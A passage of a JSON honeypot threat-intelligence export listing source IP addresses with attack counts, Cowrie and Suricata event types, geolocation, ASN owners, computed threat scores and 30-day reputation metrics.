      "attack_count": 6,
      "first_seen": "2026-04-21T18:30:33.265Z",
      "last_seen": "2026-04-30T04:13:45.644Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 30,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T17:31:13.592000+00:00",
        "last_seen_30d": "2026-04-30T19:54:39.350000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 75,
        "Honeytrap": 29,
        "Cowrie": 6,
        "ConPot": 4,
        "Dionaea": 1
      }
    },
    "220.135.110.10": {
      "attack_count": 6,
      "first_seen": "2026-04-08T12:20:22.530Z",
      "last_seen": "2026-04-14T01:03:24.405Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T12:20:22.530000+00:00",
        "last_seen_30d": "2026-04-14T01:04:32.786000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "45.142.154.46": {
      "attack_count": 6,
      "first_seen": "2026-04-25T05:36:53.040Z",
      "last_seen": "2026-04-25T05:37:08.293Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9465,
      "as_org": "AGOTOZ PTE. LTD.",
      "threat_score": 87.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 164,
        "days_active_30d": 30,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T15:08:01+00:00",
        "last_seen_30d": "2026-04-30T05:31:14.379000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 92,
        "Honeytrap": 64,
        "Cowrie": 6,
        "Sentrypeer": 2
      }
    },
    "46.101.81.234": {
      "attack_count": 6,
      "first_seen": "2026-04-15T00:51:52.814Z",
      "last_seen": "2026-04-15T00:51:53.389Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T00:51:52.814000+00:00",
        "last_seen_30d": "2026-04-15T00:53:00.607000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "66.132.172.222": {
      "attack_count": 6,
      "first_seen": "2026-04-24T20:38:06.969Z",
      "last_seen": "2026-04-24T20:39:02.885Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 93.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 201,
        "days_active_30d": 30,
        "ports_targeted_30d": 55,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T00:32:40+00:00",
        "last_seen_30d": "2026-04-30T19:23:49.064000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 122,
        "Honeytrap": 66,
        "Cowrie": 6,
        "ElasticPot": 4,
        "Dionaea": 1
      }
    },
    "36.154.50.214": {
      "attack_count": 5,
      "first_seen": "2026-04-05T15:47:36.067Z",
      "last_seen": "2026-04-05T15:47:38.483Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Suzhou",
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T15:47:36.067000+00:00",
        "last_seen_30d": "2026-04-05T15:48:44.211000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 4
      }
    },
    "18.206.228.253": {
      "attack_count": 4,
      "first_seen": "2026-04-06T00:58:37.244Z",
      "last_seen": "2026-04-06T00:58:41.415Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 55.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.0,
        "persistence": 22.5,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 27,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T00:56:54.124000+00:00",
        "last_seen_30d": "2026-04-30T01:00:00.395000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Ciscoasa": 4,
        "Cowrie": 4
      }
    },
    "192.119.111.44": {
      "attack_count": 4,
      "first_seen": "2026-04-27T06:52:02.777Z",
      "last_seen": "2026-04-27T06:52:08.842Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 54290,
      "as_org": "Hostwinds LLC.",
      "threat_score": 35.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 14.2,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 17,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T13:50:45.861000+00:00",
        "last_seen_30d": "2026-04-27T06:53:13.142000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 4
      }
    },
    "198.235.24.236": {
      "attack_count": 4,
      "first_seen": "2026-04-24T05:02:49.499Z",
      "last_seen": "2026-04-28T01:44:40.537Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.2,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 131,
        "days_active_30d": 29,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-02T01:57:15.527000+00:00",
        "last_seen_30d": "2026-04-30T05:23:31.515000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 78,
        "Honeytrap": 25,
        "ConPot": 18,
        "Adbhoney": 4,
        "Cowrie": 4,
        "Dionaea": 1,
        "Honeyaml": 1
      }
    },
    "199.45.155.68": {
      "attack_count": 4,
      "first_seen": "2026-04-03T20:17:26.620Z",
      "last_seen": "2026-04-03T20:17:41.639Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 64.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.4,
        "persistence": 23.3,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 28,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T09:25:44.633000+00:00",
        "last_seen_30d": "2026-04-28T15:53:46.716000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Cowrie": 4,
        "Honeytrap": 4,
        "Dionaea": 1
      }
    },
    "46.101.146.103": {
      "attack_count": 4,
      "first_seen": "2026-04-18T03:59:00.267Z",
      "last_seen": "2026-04-18T03:59:01.698Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T03:59:00.267000+00:00",
        "last_seen_30d": "2026-04-18T04:00:05.141000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "54.146.183.54": {
      "attack_count": 4,
      "first_seen": "2026-04-20T00:52:52.786Z",
      "last_seen": "2026-04-20T00:52:59.020Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T00:52:52.786000+00:00",
        "last_seen_30d": "2026-04-20T00:54:04.016000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "58.242.60.125": {
      "attack_count": 4,
      "first_seen": "2026-04-24T05:57:02.211Z",
      "last_seen": "2026-04-24T05:57:02.656Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T05:57:02.211000+00:00",
        "last_seen_30d": "2026-04-24T05:58:04.538000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "64.226.107.13": {
      "attack_count": 4,
      "first_seen": "2026-04-24T11:44:07.239Z",
      "last_seen": "2026-04-24T11:44:27.240Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 47.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.5,
        "persistence": 3.3,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 4,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-24T11:44:07.239000+00:00",
        "last_seen_30d": "2026-04-27T02:44:51.094000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 35,
        "Honeytrap": 16,
        "Cowrie": 4,
        "Ipphoney": 1
      }
    },
    "65.49.1.53": {
      "attack_count": 4,
      "first_seen": "2026-04-06T13:52:22.028Z",
      "last_seen": "2026-04-06T13:52:26.028Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 68.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.5,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 26,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T07:51:02+00:00",
        "last_seen_30d": "2026-04-29T15:23:01.150000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Cowrie": 4,
        "Honeytrap": 3
      }
    },
    "66.132.195.66": {
      "attack_count": 4,
      "first_seen": "2026-04-26T02:35:52.379Z",
      "last_seen": "2026-04-26T02:36:07.955Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 131,
        "days_active_30d": 30,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T17:17:47+00:00",
        "last_seen_30d": "2026-04-30T21:52:17.492000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 68,
        "Honeytrap": 54,
        "Cowrie": 4,
        "Dionaea": 4
      }
    },
    "86.146.194.227": {
      "attack_count": 4,
      "first_seen": "2026-04-30T11:12:00.640Z",
      "last_seen": "2026-04-30T11:14:07.663Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Islington",
      "asn": 2856,
      "as_org": "British Telecommunications PLC",
      "threat_score": 21.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T11:12:00.640000+00:00",
        "last_seen_30d": "2026-04-30T11:24:44.176000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "31.7.43.8": {
      "attack_count": 3,
      "first_seen": "2026-04-04T15:04:10.965Z",
      "last_seen": "2026-04-04T15:05:28.290Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Wejherowo",
      "asn": 35063,
      "as_org": "Chopin Telewizja Kablowa spolka z ograniczona odpowiedzialnoscia",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 4.2,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 5,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T15:04:10.965000+00:00",
        "last_seen_30d": "2026-04-08T17:16:36.814000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "103.170.40.58": {
      "attack_count": 2,
      "first_seen": "2026-04-06T14:14:42.746Z",
      "last_seen": "2026-04-06T14:14:56.067Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 142504,
      "as_org": "SVN GIGAFIBER PRIVATE LIMITED",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T14:14:42.746000+00:00",
        "last_seen_30d": "2026-04-06T14:15:57.423000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.212.195.166": {
      "attack_count": 2,
      "first_seen": "2026-04-02T15:31:16.205Z",
      "last_seen": "2026-04-02T15:31:28.443Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T15:31:16.205000+00:00",
        "last_seen_30d": "2026-04-02T15:32:34.401000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "128.90.166.15": {
      "attack_count": 2,
      "first_seen": "2026-04-09T07:13:11.957Z",
      "last_seen": "2026-04-09T07:13:12.445Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 22363,
      "as_org": "Powerhouse Management, Inc.",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T07:13:11.957000+00:00",
        "last_seen_30d": "2026-04-09T07:14:45.521000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "144.124.196.13": {
      "attack_count": 2,
      "first_seen": "2026-04-29T21:06:39.500Z",
      "last_seen": "2026-04-29T21:06:51.601Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T21:06:39.500000+00:00",
        "last_seen_30d": "2026-04-29T21:07:58.049000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "146.200.171.59": {
      "attack_count": 2,
      "first_seen": "2026-04-07T00:12:09.321Z",
      "last_seen": "2026-04-07T00:14:09.333Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Lichfield",
      "asn": 6871,
      "as_org": "British Telecommunications PLC",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T00:12:09.321000+00:00",
        "last_seen_30d": "2026-04-07T00:25:07.351000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "160.120.228.207": {
      "attack_count": 2,
      "first_seen": "2026-04-25T06:09:23.409Z",
      "last_seen": "2026-04-25T06:09:23.989Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ivory Coast",
      "country_code": "CI",
      "city": "Abidjan",
      "asn": 29571,
      "as_org": "ORANGE-COTE-IVOIRE",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T06:09:23.409000+00:00",
        "last_seen_30d": "2026-04-25T06:10:27.232000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "175.137.165.225": {
      "attack_count": 2,
      "first_seen": "2026-04-14T10:29:06.999Z",
      "last_seen": "2026-04-14T10:29:37.699Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 4788,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T10:29:06.999000+00:00",
        "last_seen_30d": "2026-04-14T10:30:45.294000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "177.75.49.148": {
      "attack_count": 2,
      "first_seen": "2026-04-08T00:31:02.692Z",
      "last_seen": "2026-04-08T00:31:15.536Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "An\u00e1polis",
      "asn": 262588,
      "as_org": "EXPLORERNET INFOLINK TECNOLOGIA E TELECOMUNICACOES",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T00:31:02.692000+00:00",
        "last_seen_30d": "2026-04-08T00:32:18.076000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.137.131.237": {
      "attack_count": 2,
      "first_seen": "2026-04-10T05:09:35.570Z",
      "last_seen": "2026-04-10T05:09:50.248Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Quilmes",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T05:09:35.570000+00:00",
        "last_seen_30d": "2026-04-10T05:10:58.654000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.251.132.236": {
      "attack_count": 2,
      "first_seen": "2026-04-02T23:38:00.266Z",
      "last_seen": "2026-04-02T23:38:13.670Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Lerma de Villada",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
